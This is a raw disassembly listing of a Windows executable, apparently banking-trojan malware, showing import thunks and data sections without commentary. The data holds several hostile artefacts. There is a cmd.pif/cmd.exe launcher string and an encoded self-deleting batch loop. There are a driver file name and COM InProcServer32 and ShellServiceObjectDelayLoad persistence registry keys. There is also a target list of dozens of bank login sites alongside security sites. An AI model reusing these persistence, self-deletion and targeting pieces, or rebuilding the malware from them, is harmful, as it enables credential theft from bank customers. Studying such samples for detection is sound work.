sub_40CBCC	proc near		; CODE XREF: sub_401219+49p
		jmp	ds:dword_44852C
sub_40CBCC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBD8	proc near		; CODE XREF: sub_406A40+16Ap
					; sub_406D2E+69p ...
		jmp	ds:dword_448530
sub_40CBD8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBE4	proc near		; CODE XREF: sub_40523D+F0p
					; sub_40523D+17Cp
		jmp	ds:dword_448534
sub_40CBE4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBF0	proc near		; CODE XREF: sub_4098A8+1017p
					; sub_4098A8+103Fp
		jmp	ds:dword_448538
sub_40CBF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBFC	proc near		; CODE XREF: sub_401219+74p
					; sub_4098A8+D7Ep ...
		jmp	ds:dword_44853C
sub_40CBFC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC08	proc near		; CODE XREF: sub_408779+119p
		jmp	ds:dword_448540
sub_40CC08	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC14	proc near		; CODE XREF: sub_40129C+1Cp
					; .text:00401448p ...
		jmp	ds:dword_448544
sub_40CC14	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC20	proc near		; CODE XREF: sub_4061F7+7Bp
					; sub_4061F7+255p ...
		jmp	ds:dword_448548
sub_40CC20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC2C	proc near		; CODE XREF: sub_40109A+149p
		jmp	ds:dword_44854C
sub_40CC2C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC38	proc near		; CODE XREF: sub_40172F:loc_401746p
					; sub_403BE7+3Bp ...
		jmp	ds:dword_448550
sub_40CC38	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC44	proc near		; CODE XREF: sub_40109A+102p
					; sub_40109A+11Cp ...
		jmp	ds:dword_448554
sub_40CC44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC50	proc near		; CODE XREF: sub_4037CA+2Bp
					; .text:0040388Ap ...
		jmp	ds:dword_448558
sub_40CC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC5C	proc near		; CODE XREF: sub_4098A8+7Dp
					; sub_40AA24+128p
		jmp	ds:dword_44855C
sub_40CC5C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC68	proc near		; CODE XREF: sub_4098A8+A77p
		jmp	ds:dword_448560
sub_40CC68	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC74	proc near		; CODE XREF: sub_40341E+44p
					; sub_40349A+51p ...
		jmp	ds:dword_448564
sub_40CC74	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC80	proc near		; CODE XREF: sub_40C654+17p
		jmp	ds:dword_448568
sub_40CC80	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC8C	proc near		; CODE XREF: sub_4061F7+4FAp
		jmp	ds:dword_44856C
sub_40CC8C	endp

; ---------------------------------------------------------------------------
		align 400h
_text		ends

; Section 2. (virtual address 0000D000)
; Virtual size			: 0002E520 ( 189728.)
; Section size in file		: 0002E520 ( 189728.)
; Offset to raw	data for section: 0000D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_bss		segment	para public 'DATA' use32
		assume cs:_bss
		;org 40D000h
dword_40D000	dd 72656B5Ch						; sub_4082AB+89r ...
aNel32_dll	db 'nel32.dll',0
		align 10h
		dd 0
aSCmd_pif	db '%s\cmd.pif',0
		align 10h
		dd 0
		db    0
aCmd_exeCStartC	db '\cmd.exe /C start c:\boot.sys',0
		align 4
		dd 40Dh	dup(0)
dword_40E078	dd 0							; sub_40B2CA+C8r
dword_40E07C	dd 0							; sub_401D31+45Cw ...
dword_40E080	dd 40h dup(0)						; sub_4098A8+709o ...
dword_40E180	dd 0							; sub_40354F:loc_4035D1r
		dd 413h	dup(0)
dword_40F1D0	dd 0							; sub_401D31+21Ew ...
dword_40F1D4	dd 0							; sub_401D31+3E9r ...
dword_40F1D8	dd 0							; sub_406D2E+FF5r ...
byte_40F1DC	db 0			; DATA XREF: sub_401D31+11Dw
		align 10h
dword_40F1E0	dd 40h dup(0)						; sub_40AA24+425o ...
dword_40F2E0	dd 0							; sub_402A48+D0w ...
		dd 0FFh	dup(0)
dword_40F6E0	dd 0							; sub_40372A+96r
		dd 44Eh	dup(0)
dword_41081C	dd 0							; sub_408ED0+855r ...
dword_410820	dd 0							; .text:loc_401BADr
		dd 41Fh	dup(0)
dword_4118A0	dd 0				dd 0FFh	dup(0)
dword_411CA0	dd 785C7325h						; sub_404020+41r
aSlfdlnt_bat	db 'slfdlnt.bat',0
		dd 0
		dd 5C732500h, 2E646D63h, 666970h, 0
		dd 6D635C00h, 78652E64h, 65h, 3A000000h, 706F6F6Ch, 64400A0Dh
		dd 25206C65h, 756E3E73h, 400A0D6Ch, 65206669h, 74736978h
		dd 20732520h, 6F746F67h, 6F6F6C20h, 400A0D70h, 206C6564h
		dd 6E3E7325h, 0A0D6C75h, 0
		dd 73250000h, 20432F20h, 7325h,	431h dup(0)
dword_412DE0	dd 0							; .text:00402559r
		dd 44Eh	dup(0)
dword_413F1C	dd 0							; sub_40B2CA+DDr
dword_413F20	dd 0							; sub_408ED0+8ADr ...
		align 10h
dword_413F30	dd 0							; sub_408AB9+89r
		dd 44Fh	dup(0)
byte_415070	db 0			; DATA XREF: sub_401D31+3F1w
		align 8
byte_415078	db 0			; DATA XREF: sub_401D31+5Fw
					; sub_401D31+64r ...
		align 4
dword_41507C	dd 0							; sub_401D31+1C8w ...
dword_415080	dd 40h dup(0)						; sub_4098A8+9ECo ...
dword_415180	dd 0							; sub_402A48+C4r ...
		dd 0FFh	dup(0)
dword_415580	dd 0							; sub_407FBC:loc_40803Er
		dd 45Bh	dup(0)
dword_4166F0	dd 0							; .text:00401991r
		dd 3FFh	dup(0)
dword_4176F0	dd 0							; sub_404491+8Er
		dd 3F3h	dup(0)
dword_4186C0	dd 0							; .text:loc_40221Cr
		dd 413h	dup(0)
dword_419710	dd 94h							; sub_40AA24+D2o
		dd 5, 1, 0A28h
dword_419720	dd 2		aServicePack2	db 'Service Pack 2',0
		align 4
		dd 1Fh dup(0)
dword_4197B0	dd 0							; sub_405138+81r
		dd 40Fh	dup(0)
dword_41A7F0	dd 0							; .text:004014BFr
		dd 3EBh	dup(0)
byte_41B7A0	db 0			; DATA XREF: sub_401D31+3B8w
					; sub_401D31+3BDr
		align 4
dword_41B7A4	dd 0							; sub_401D31+D0r ...
dword_41B7A8	dd 0		dword_41B7AC	dd 0							; sub_4023A7+13r ...
dword_41B7B0	dd 6972645Ch						; sub_40129C+95r
aVersNdisrd_sys	db 'vers\ndisrd.sys',0
		dd 0
		dd 616E6500h, 64656C62h, 6673h,	0
aSS_exe		db '%s\%s.exe',0
		align 4
		dd 3F6h	dup(0)
dword_41C7BC	dd 0							; sub_40AA24+841r ...
dword_41C7C0	dd 0							; sub_406815+A2r
		dd 435h	dup(0)
dword_41D898	dd 0							; sub_408ED0+21Er
dword_41D89C	dd 0							; sub_408ED0+6Fr ...
dword_41D8A0	dd 0							; sub_4024A8+13r
		align 10h
dword_41D8B0	dd 463Ah						; sub_4032E2+84r
		dd 401h	dup(0)
dword_41E8B8	dd 0							; sub_401D31:loc_401DBBw ...
dword_41E8BC	dd 0							; sub_408ED0+74Fr ...
dword_41E8C0	dd 0							; sub_40B2CA+ACr
dword_41E8C4	dd 0							; sub_408ED0+3B5r ...
dword_41E8C8	dd 0							; sub_402445+53r
dword_41E8CC	dd 400000h						; sub_408ED0+10Fr ...
dword_41E8D0	dd 40h dup(0)						; sub_4098A8+DD5o ...
dword_41E9D0	dd 0							; sub_401D31+ACw ...
		align 10h
dword_41E9E0	dd 3430257Bh						; sub_40390E:loc_403991r
aX04x04x04x04x0	db 'X%04X-%04X-%04X-%04X-%04X%04X%04X}',0
a08x		db '%08X',0
aSS_dll		db '%s\%s.dll',0
aClsidSInprocse	db 'CLSID\%s\InProcServer32',0
aThreadingmodel	db 'ThreadingModel',0
aApartment	db 'Apartment',0
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelay'
		db 'Load',0
		align 10h
		dd 3D9h	dup(0)
dword_41F9F4	dd 0							; sub_40B2CA+9Cr
		align 10h
dword_41FA00	dd 40h dup(0)						; sub_40AA24+3FFo ...
byte_41FB00	db 0			; DATA XREF: sub_401D31+175w
		align 4
dword_41FB04	dd 0							; sub_408ED0+117r ...
		align 10h
byte_41FB10	db 0			; DATA XREF: sub_406D2E+136o
					; sub_406D2E+D2Fo ...
byte_41FB11	db 0			; DATA XREF: sub_406D2E+EB1r
byte_41FB12	db 0			; DATA XREF: sub_406D2E+EBAr
byte_41FB13	db 0			; DATA XREF: sub_406D2E+EC3r
		dd 3FFFh dup(0)
byte_42FB10	db 0			; DATA XREF: sub_401D31+267w
					; sub_401D31+26Cr
		align 4
dword_42FB14	dd 0							; .text:00407F76r ...
		align 10h
dword_42FB20	dd 0							; .text:loc_401810r
		dd 43Fh	dup(0)
dword_430C20	dd 0		dword_430C24	dd 0							; sub_4022BB+17r
dword_430C28	dd 0							; sub_408ED0+23Fr ...
byte_430C2C	db 0			; DATA XREF: sub_401D31+2FAw
					; sub_401D31+30Br ...
		align 10h
dword_430C30	dd 0							; .text:loc_4043C0r
		dd 407h	dup(0)
dword_431C50	dd 0							; sub_406CA2:loc_406D24r
		dd 459h	dup(0)
dword_432DB8	dd 0							; sub_408ED0+898r ...
dword_432DBC	dd 0							; sub_40B3E8+246r ...
dword_432DC0	dd 0							; sub_408ED0+373r ...
		align 10h
dword_432DD0	dd 0							; .text:00408644r
		dd 443h	dup(0)
aCWindowsSystem	db 'C:\WINDOWS\system32',0 ; DATA XREF: sub_403A5F+64o
					; sub_403BE7+221o ...
		dd 3Bh dup(0)
byte_433FE0	db 0			; DATA XREF: sub_40133B+ADo
					; sub_408048+FCw ...
		align 4
		dd 3Fh dup(0)
dword_4340E0	dd 0							; .text:00401A74r
		dd 43Dh	dup(0)
dword_4351D8	dd 0							; sub_408ED0+8D0r ...
dword_4351DC	dd 0							; sub_408ED0+8E5r
dword_4351E0	dd 0							; .text:00401600r
		dd 41Bh	dup(0)
dword_436250	dd 0							; sub_404E2A:loc_404EBCr
		dd 43Fh	dup(0)
dword_437350	dd 0							; .text:loc_401D27r
		dd 423h	dup(0)
dword_4383E0	dd 0							; .text:loc_401725r
		dd 45Fh	dup(0)
dword_439560	dd 0							; .text:00408934r
		dd 3FDh	dup(0)
dword_43A558	dd 0							; sub_40B3E8+24Er ...
		align 10h
byte_43A560	db 0			; DATA XREF: sub_401D31+42Bw
		align 10h
dword_43A570	dd 0							; .text:00408737r
		dd 3EBh	dup(0)
unk_43B520	db    ?	;		; DATA XREF: .data:0043C004o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
_bss		ends

; Section 3. (virtual address 0003C000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 0003C000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 43C000h
		dd offset dword_40D000
		dd offset unk_43B520
		dd 8000h, 0
dword_43C010	dd 0							; sub_40109A+110w ...
dword_43C014	dd 12FF74h			dd 0
dword_43C01C	dd 0		dword_43C020	dd 1							; sub_401219+5Ar
dword_43C024	dd 1480B8h						; sub_401219+54r
dword_43C028	dd 147E00h						; sub_401219+4Er
dword_43C02C	dd 0							; sub_40109A:loc_401208r
dword_43C030	dd 0		dword_43C034	dd 0							; sub_40109A+87r ...
dword_43C038	dd 0		dword_43C03C	dd 14h dup(0)						; sub_40109A+8Fo
dword_43C08C	dd 0		dword_43C090	dd 0							; sub_40109A+32w
dword_43C094	dd 5							; sub_408ED0+47Ar ...
dword_43C098	dd 12h							; sub_408E12+6Er ...
dword_43C09C	dd 37h							; sub_40129C:loc_4012CBr ...
aKkqhook_29	db 'KKQHOOK_29',0       ; DATA XREF: sub_40A9BC+20o
					; sub_40AA24+5A3o
aGu?		db 'gU',27h,'= ?',0
aOX2bn		db 'O+X2Bn',0
aW		db 'w',0
		align 4
dword_43C0BC	dd 0							; sub_4098A8+153r ...
dword_43C0C0	dd 46h							; sub_4098A8+105Cr ...
off_43C0C4	dd offset aSiliconfirewar ; DATA XREF: sub_4098A8+126r
					; sub_4098A8+159r
					; "siliconfireware.ru"
		dd offset aChechenpress_i ; "chechenpress.info"
		dd offset aProdexteam_net ; "prodexteam.net"
		dd offset aProdexteam_n_0 ; "prodexteam.net/main.htm"
		dd offset aWww_cbr_ru	; "www.cbr.ru"
		dd offset aWww_proxySocks ; "www.proxy-socks.net"
		dd offset aProdexteam_n_1 ; "prodexteam.netcrutop.nu"
		dd offset aNew_egg_com	; "new.egg.com"
		dd offset aWww_baltbank_r ; "www.baltbank.ru"
		dd offset aWelcome3_smile ; "welcome3.smile.co.uk"
		dd offset aOlb2_nationet_ ; "olb2.nationet.com"
		dd offset aWww_bbin_ru	; "www.bbin.ru"
		dd offset aMasterX_com	; "master-x.com"
		dd offset aEbookfinaltras ; "ebookfinaltrash.ru"
		dd offset aWww_masterbank ; "www.masterbank.ru"
		dd offset aWww_bankBanque ; "www.bank-banque-canada.ca/index.php"
		dd offset aWww_bmo_com	; "www.bmo.com"
		dd offset aWww_bankofmadu ; "www.bankofmadura.com"
		dd offset aWww_cibc_com	; "www.cibc.com"
		dd offset aWww_vtb_ru	; "www.vtb.ru"
		dd offset aWww_cwbank_com ; "www.cwbank.com"
		dd offset aHyperSpaceFuel ; "hyper-space-fuel.ru"
		dd offset aAlfabank_ru	; "alfabank.ru"
		dd offset aCrutop_nuVbull ; "crutop.nu/vbulletin/"
		dd offset aWww_mmbank_ru ; "www.mmbank.ru"
		dd offset aCrutop_nuVbu_0 ; "crutop.nu/vbulletin/forumdisplay.php"
		dd offset aWww_uniastrum_ ; "www.uniastrum.ru"
		dd offset aCrutop_nuVbu_1 ; "crutop.nu/vbulletin/showthread.php"
		dd offset aAtmacasoft_com ; "atmacasoft.com"
		dd offset aAsmworm_com	; "asmworm.com"
		dd offset aWww_proxySocks ; "www.proxy-socks.net"
		dd offset aDigitalRelaxkg ; "digital-relaxkgb.ru"
		dd offset aWww_worldbank_ ; "www.worldbank.org/index.php"
		dd offset aWww_candidatev ; "www.candidateverifier.com/index.php"
		dd offset aWww_sbrf_ru	; "www.sbrf.ru"
		dd offset aPizdabolInc_ru ; "pizdabol-inc.ru"
		dd offset aWww_bankofindi ; "www.bankofindia.com"
		dd offset aWww_icbank_ru ; "www.icbank.ru"
		dd offset aAcroleinHawk_r ; "acrolein-hawk.rubanking.halifax-online."...
		dd offset aWww_spyinstruc ; "www.spyinstructors.com"
		dd offset aWww_kmb_ru	; "www.kmb.ru"
		dd offset aWww_netmagiste ; "www.netmagister.com"
		dd offset aKavkazcenter_c ; "kavkazcenter.com/russ"
		dd offset aWww_absolutban ; "www.absolutbank.ru"
		dd offset aMyonlineaccoun ; "myonlineaccounts2.abbeynational.co.uk"
		dd offset aOnlineBusiness ; "online-business.lloydstsb.co.uk"
		dd offset aWww_allahabadb ; "www.allahabadbank.com"
		dd offset aMasterX_comFor ; "master-x.com/forum/"
		dd offset aWww_rbc_com	; "www.rbc.com"
		dd offset aWww_ovk_ru	; "www.ovk.ru"
		dd offset aWww1_hsbc_caIn ; "www1.hsbc.ca/index.php"
		dd offset aProrat_net	; "prorat.net"
		dd offset aYambo_biz	; "yambo.biz"
		dd offset aKidosBank_ru	; "kidos-bank.ru"
		dd offset aWww_lbcdirect_ ; "www.lbcdirect.laurentianbank.ca/index.p"...
		dd offset aBarclays_com	; "barclays.com"
		dd offset aTotallyfreeban ; "totallyfreebanking.com"
		dd offset aWww_nbc_caInde ; "www.nbc.ca/index.php"
		dd offset a53bank_com	; "53bank.com"
		dd offset aWww_uralsib_ru ; "www.uralsib.ru"
		dd offset aGrepwareFacili ; "grepware-facility.ru"
		dd offset aWww_b2bTrust_c ; "www.b2b-trust.com"
		dd offset aGutabank_ru	; "gutabank.ru"
		dd offset aOpenbank_com	; "openbank.com"
		dd offset aSeclab_ru	; "seclab.ru"
		dd offset aTatNeftbank_ru ; "tat-neftbank.ru"
		dd offset aSecuritylab_ru ; "securitylab.ru"
		dd offset aRoyalbank_com ; "royalbank.com"
		dd offset aFethard_biz	; "fethard.biz"
		dd offset aWww_mdmbank_ru ; "www.mdmbank.ru"
		dd offset aGronxplanets_r ; "gronxplanets.ru"
		dd offset aChevychasebank ; "chevychasebank.com"
aJnq_		db 'Jnq.',0
aSoftwareMicros	db 'Software\Microsoft\Windows',0 ; DATA XREF: sub_4098A8+5A0o
					; sub_4098A8+68Fo ...
aK		db 'K',0
aOfstkkq	db 'ofstkkq',0          ; DATA XREF: sub_4098A8+59Bo
					; sub_4098A8+68Ao
		db 0
aOfstkkqc	db 'ofstkkqc',0         ; DATA XREF: sub_4098A8+6E3o
					; sub_4098A8+898o
		dd 0
dword_43C21C	dd 0							; sub_40B3E8:loc_40B57Br ...
dword_43C220	dd 0							; sub_40B3E8+A9r ...
aDSF?t		db 'D>S F?t',0
dword_43C22C	dd 727C21h	dword_43C230	dd 3Bh							; sub_401D31+96w ...
		dd 3, 0Eh
dword_43C23C	dd 0							; .text:loc_40145Br ...
		dd 1, 0Dh
dword_43C248	dd 0							; .text:loc_40159Dr ...
		dd 2, 10h
dword_43C254	dd 0							; .text:loc_4016D6r ...
		dd 6, 0Ch
dword_43C260	dd 0							; .text:loc_4017B4r ...
dword_43C264	dd 354B5Eh	aO68		db 'o6,%8',0            ; DATA XREF: sub_40181A+A7o
		align 10h
		dd 5, 0Ah
dword_43C278	dd 0							; .text:loc_40193Br ...
aVlvh_		db 'vlVh_',0            ; DATA XREF: .text:004019ABo
		align 4
		dd 5, 0Fh
dword_43C28C	dd 0							; .text:loc_401A1Dr ...
word_43C290	dw 2Ah			; DATA XREF: sub_401A7E+37r
dword_43C292	dd 707C44h			align 4
		dd 0
		dd 0Bh
dword_43C2A0	dd 0							; .text:loc_401B47r ...
word_43C2A4	dw 4Ah			; DATA XREF: sub_401BB7+9r
aFqgcpb		db 'FqGcPB:',0          ; DATA XREF: sub_401BB7+D4o
		align 10h
		dd 2, 0Ah
dword_43C2B8	dd 0							; .text:loc_401CCEr ...
word_43C2BC	dw 20h			; DATA XREF: sub_401D31+1Dr
aQ8abz		db 'Q8az',0            ; DATA XREF: sub_401D31+13Ao
aIh		db '>%<Ih',0            ; DATA XREF: sub_401D31+2E7o
		align 4
off_43C2CC	dd offset loc_401DBB	; DATA XREF: sub_401D31+7Er
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_402002
		dd offset loc_401F8C
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_401E2D
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_401E2D
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_401E2D
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_401E2D
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401E2D
		dd offset loc_401E2D
		dd offset loc_401EB0
		dd offset loc_401ED6
		dd offset loc_401F5A
		dd offset loc_401F20
		dd offset loc_401E1C
		dd offset loc_401F0E
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401F0E
		dd offset loc_401F20
		dd offset loc_401F0E
		dd offset loc_401F0E
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
off_43C4FC	dd offset loc_401DBB	; DATA XREF: sub_401D31+291r
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401F37
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401F4A
		dd offset loc_401F4A
		dd offset loc_401F4A
		dd offset loc_401F4A
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401E1C
		dd offset loc_401F5A
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F0E
		dd offset loc_401F0E
		dd offset loc_401F70
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401F0E
		dd offset loc_401F20
		dd offset loc_401F7C
		dd offset loc_402002
		dd offset loc_401F70
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DCD
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F37
		dd offset loc_401E1C
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401E58
		dd offset loc_401F85
		dd offset loc_401E85
		dd offset loc_401E85
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DE8
		dd offset loc_401DE8
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
